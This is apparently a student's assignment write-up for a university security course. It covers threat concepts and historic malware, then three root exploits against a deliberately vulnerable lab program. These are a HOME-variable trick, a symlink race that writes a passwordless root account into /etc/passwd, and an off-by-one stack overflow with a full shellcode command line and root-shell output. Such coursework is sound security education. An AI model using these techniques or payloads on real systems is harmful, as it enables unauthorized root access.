# CS458 A1

## Q1

### a) Man in the middle attack

- The man in the middle attack is typically done through hijacking or spying on the communication process between the client and server. It possible that the malicious internal employee has a system that secretely log and store transation history into his/her private server in order to steal information from the company.
- This is a breach of confidentiality, as the maliciuous employee doesn't have the right to review the information.

### b) Side channel attack

- The side channel attack can be done easily through a malicious internal employee. Assumeing people are working in the same office, it is not rare to accidentally showsensitive  information on the screen. Even worse, without proper security traning, individuals might left these data un-attained while getting a cup of coffee. during his absent from the table, anyone can quickly modify his computer to either gain access or straight up just take a picture wtth their phone.
- This is a breach of Confidentiality as individuals can access data which they do not have access to.

### c) Priviledge esculation

- Priviledge esculation is an attack that raises the priviledge level of the attacker. This is possible that the code base they are running as the backend has no security review before going online, and contain potentially buffer overflow that can allow attacker to access root shell. This essentially grant that attacker the ability to go through any sort of internal data and leak it.
- This is a breach of Confidentiality, as illegal access is provided, and a breach of Integretiy, since with high enough access, attacker and modify content of databse. worst of all, if attacker decided to shutdown the database, they can also do it, thus it is a violation of availability as well.

## Q2

starting with **code review**, first of all, there should never be any code merge into the mainline without approval of repo master, and to gain approval, you will need to have multiple people outside of code authoer to look at the code for flaws. To improve the quality of the review, code author should introduce "Easter egg" bugs that are intentially inserted into the pr in order to make sure reviewer pay attention during review

During **testing,** we should have both whitebox testing (unit testing) and blackbox testing (integration testing). What we perform during white box testing is essentially unit test to ensure that the code perform it's own duty with out problem. For blackbox, we want to integrate the public apis into the rest of the system, and see if system's input would produce expected output.

During **Maintenance**, when the server go live, there should be a system that page oncall developers if anything goes wrong so someone can take a look at the problem asap. This means we need a proper audit, error bubbling system, and a proper notification system to ensure developers are properly notified.

# Q3

**Prevent:** as for prevention of man-in-the-middle attack, we can setup encryption system to encrpte the communcation process, so sniffing the encrypted package is useless to the attacker

**Deter:** to deter a side channel attack, we should make sure that it is incredibly difficult for anyone to steal information physically. Individual employees computer should have password lock, goes on lock when no activity for 1 minutes, and make sure that we have enclosed cubical for each employee such that it is difficult to spy on other people's screen. Best part, also put some camera around the office, making it even harder to spy around w/o being noticed.

**Deflect:** Formally annouce that your communication protocal is now in a highly encrypted format with a secured private key that changes every hr, letting attacker know that man-in-the-middle attack is probably not effective

**Detect:** a system that tracks any action that are done with high privaledge, especially root. whenever a high privaledge account is access outside of trusted addresses (whitelist), an alarm should be sounded since we might be under a priviledge esculation attack

**Recover: We should back up the server and database hourly.** suppose we suffered a priviledge esculation attack, and the attacker lock other people out of the server, we should be able to shutdown the current server and database. After investigated and corrected possible vulnerability, we should be able to recover the system using the backup.

# Q4

1. The first issue is that rick has to enter the password on his portal gun which I would assume is quiet small (referring to the show itself)

This means that means rick is gonna have difficulty to enter the password given that it is very small

Secondly, if rick accidentally leak the password to morty, then morty can permanently access the portal gun.

2. Instead of password, just use the Biometrics authentication system, such as his finger print, or since he is rick go for something more nut (like a full body scam). However this is a problem still since it can still be cheated if morty can provide finger print mod, etc. To ensure more security, we can introduce multi-factor authentication, where rick will have to authenticate through his phone if either password or biometrics passed, but if the phone is stolen, that isa also possible to be by passed.

# Q5

**CryptoLocker:** a ransomware that spreaded through spoofed email attachment form a botnet, it encrypt the victim's harddrive and depend ransom for the privatekey.

**Stuxnet**: a worm created by the US and Israeli intelligence agencies to target iranian uranium enrichment program. It spreaded using 4 different zero-day attacks, and insalled manually for ari-gapped systems. it target exactly the variable-frequency drives if installed, and suddenly change the frequencies so that the distortion and vibrations occur resulting in broken centrifuges

**CIH**: is a Trojan virus that is first spreaded through a pirated software. Note that some variation of CIH actually is a logic bomb as well, as it doesn't trigger right away, and wait a specific amount of time. A computer become infested when the pirated software is executed. There are two consequence of the infection. First, it wipes the first megabyte of the harddrive by setting them to 0, which would cause the

computer to either shutdown immediately or just hang. Secondly, it tries to write to the FLASH BIOS, replacing critical boot-time code with junk, though it doesn't work on every machine, it is still pretty deadly.

# Exploits description

## Sploit1

sploit1.c is a class B exploit, where we utilized a incomplete mediation through environment variable. For some reason, the code extract uid through environment variable HOME. this is very dumb, since it is a varaible that I can easily change to match the root. after I changed my HOME to match the root, it automatically replaced root's old password with the new one, so I can simploy just type "su root" and enter the updated password to open a root shell.

a

This vulnerability can easily be fixed if they can extract uid and similar source from somewhere else. for example, instead of reading HOME, https://man7.org/linux/man-pages/man2/getuid.2.html this is a good alternative

## Sploit2

sploit2.c is a class B exploit, where we utilized a TOCTTOU error vulnerability within the get_entropy function. In particular, it try to store entropy in the file called /tmp/pwgen_random, but the action of checking if the file is valid and waiting for entropy input does not happen simultaniously. There is a cin in between. This means right after the program checked the validity of the file /tmp/pwgen_random and await for user input, we can delete /tmp/pwgen_random, create a symbolic link to /etc/passwd as /tmp/pwgen_random. This means the input we placed into the cin would automatically overwrite the content of the /etc/passwd. with this power, we can overwrite the file as follow:

```
"::38:38:Mailing List Manager:/var/list:/bin/sh\n"
"root:x:0:0:root:/root:/bin/bash \n"
"user::1000:1000::/home/user:/bin/sh\n"
"hacker::0:0:root:/root:/bin/bash\n"
"halt::0:1001::/:/sbin/halt\n";
```

(note that the first line is weird to accomodate the random initial input "u1,7Jnsd" in the get_entropy function)

we have inserted a hacker user into /etc/passwd, with root access, root group, root bash, and no password :) This means if we just call

```
system("su hacker")
```

we are successfully logged in as root, and now whoiam returns root, following is the sample output

```
Type stuff so I can gather entropy, Ctrl-D to end:
we are puting the writer to sleep for a few seconds, until it has created and verify the file
we should be prompt for input, modifying the tmp/pwgen_random to point to /etc/passwd
symlink created! now let input the new /etc/passwd to enable root access
Please help the system admin collect some valuable info. Areyou a graduate or an undergraduate student? g/u
System stats: Please shortly explain the reason for requiring a new password!, Ctrl-D to end
we have inserted a hacker user with root access into /etc/passwd! now su hacker to open root terminal
we also wait a few seconds for pwgen to compelete the write
Generated password (length 8): zPZEa4Ny
cs458-uml:/share# whoami
root
cs458-uml:/share# exit
```

## Sploit3

sploit3.c is a class A exploit, where we use buffer overflow by 1 byte within the get_entropy function. In particular, the get_entropy function put a ‘/0’ character at the end of the buffer, even when buffer is full

```
c = getc(stdin);
  while (i < BUFF_SZ) {
    if (c == EOF) return;
    buffer[i] = c;
    c = getc(stdin);
    i++;
  }
  buffer[i] = '\0';
```

This is a big problem, that means we can modify the saved frame pointer, though not by much, it is enough for us to mess with it.

The general flow of the attack is the following

1. Set the malicious shellcode inside the environment variable, since there is not easy to find a buffer big enough to contain the code
2. Using the args.filename to set up a fake stack, we will make sure the fill_entropy will return to this fake stack, and eventually jump to the shellcode
3. trigger bufferoverflow, make sure the eip returns to a location in the fake stack, which we control

4. parse_args continue execution normally (since our fake stack is almost a duplicate of the real stack) but we want to return asap, so we use -h flag to force parse_args to return as fast as possible.
5. once parse_args returns, it now jumps to the location of environment variable which we have the malicious shellcode, execute then open us a root shell

Here are some more techincal details

1. In order to construct a fake stack, I made this excel sheet on google drive

| note | location | value |
|---|---|---|
| | 0xffbfdf14 | argv[0] (why is it not the same location as argv) |
| argv | 0xffbfde94 | |
| argc | 0xffbfde90 | 2 |
| saved eip (return) | 0xffbfde8c | 0x40098450 |
| saved ebp, ebp of main | 0xffbfde88 | 0xffbfdee8 |
| argv | 0xffbfde08 | |
| argc | 0xffbfde04 | |
| top of the stack for main | 0xffbfde00 | what happened to the previous 4 byte? |
| eip for parse_args | 0xffbfddfc | 0x08049cbc |
| ebp for parse_args | 0xffbfddf8 | 0xffbfde88 |
| args | 0xffbfdda0 | |
| | | |
| buffer | 0xffbfdba0 | |
| c | 0xffbfdb9c | |
| res | 0xffbfdb98 | |
| long_option | 0xffbfdb38 | |
| | | |
| | | what happened here to the 16 bytes? |
| edi stored | oxffbfdb28 | |
| esi stored | 0xffbfdb24 | |
| ebx stored | 0xffbfdb20 | |
| top of stack for get_args | 0xffbfdb20 | |
| fill_entropy saved eip | 0xffbfdb1c | 0x08049b5d |
| fill_entropy saved ebp | 0xffbfdb18 | 0xffbfddf8 |
| buffer | 0xffbfd718 | 1024 in size, make sense |
| fd | 0xffbfd714 | 4byte pointer to the file |
| | | |

I used gdb to track through all the addresses, and I learned that by putting a longer header, you can artificially push down the stack, 16 bytes at the time. Thus, when we push down the stack by just enough, we can ensure the corrupeted ebp from get_entropy points to somewhere within the args.filename. I used

```
char *padding = "--salt=12345678901234567890123456789012345678901234567890123456789012345678901234567890";
```

as a fake parameter to shift the overflow address to exactly where I wanted it to be

2. So, fake stack is not easy to do.

a. You can’t easily fit in null character (as it might be the easiest way to trigger return) because strncp stops at the reading of null character (/0)
b. thus, my  stack is filled with /x11 instead, and on the critical location for argv and argc, I continued with right address of argv, and a arbitrary non-zero argc
c. most importantly, I replaced what is suppose to be eip address for return to 0xffbfdfb9 which is the memory location of the shellcode

Now we have successfully faked the stack, all we needed to do is wait for get_entropy to start the hack :)

3. lastly, I tested with execve but because pipe and dup2 will close the stdin upon completetion which automatically closes the root shell, I have to do it another way.  Thus, I replicate the process in a bash script, and ran through everything with expect to make it work. Following is a sample of the bash script generated by the sploit3.c

```
#/bin/bash

env -i HOME=/home/user $'MA=\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d
\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh' /usr/local/bin/pwge
n $'--seed=\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\xb9\xdf\xbf\xff\x11
\x11\x11\x11\x04\x11\x11\x11\x44\xde\xbf\xff\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11
\x11\x11\x11' -e -h --salt=12345678901234567890123456789012345678901234567890123456789012345678901234567
890
```

And to solve this problem, simply change it to ≤ buffer_size instead of < buffer_size and you are fixed!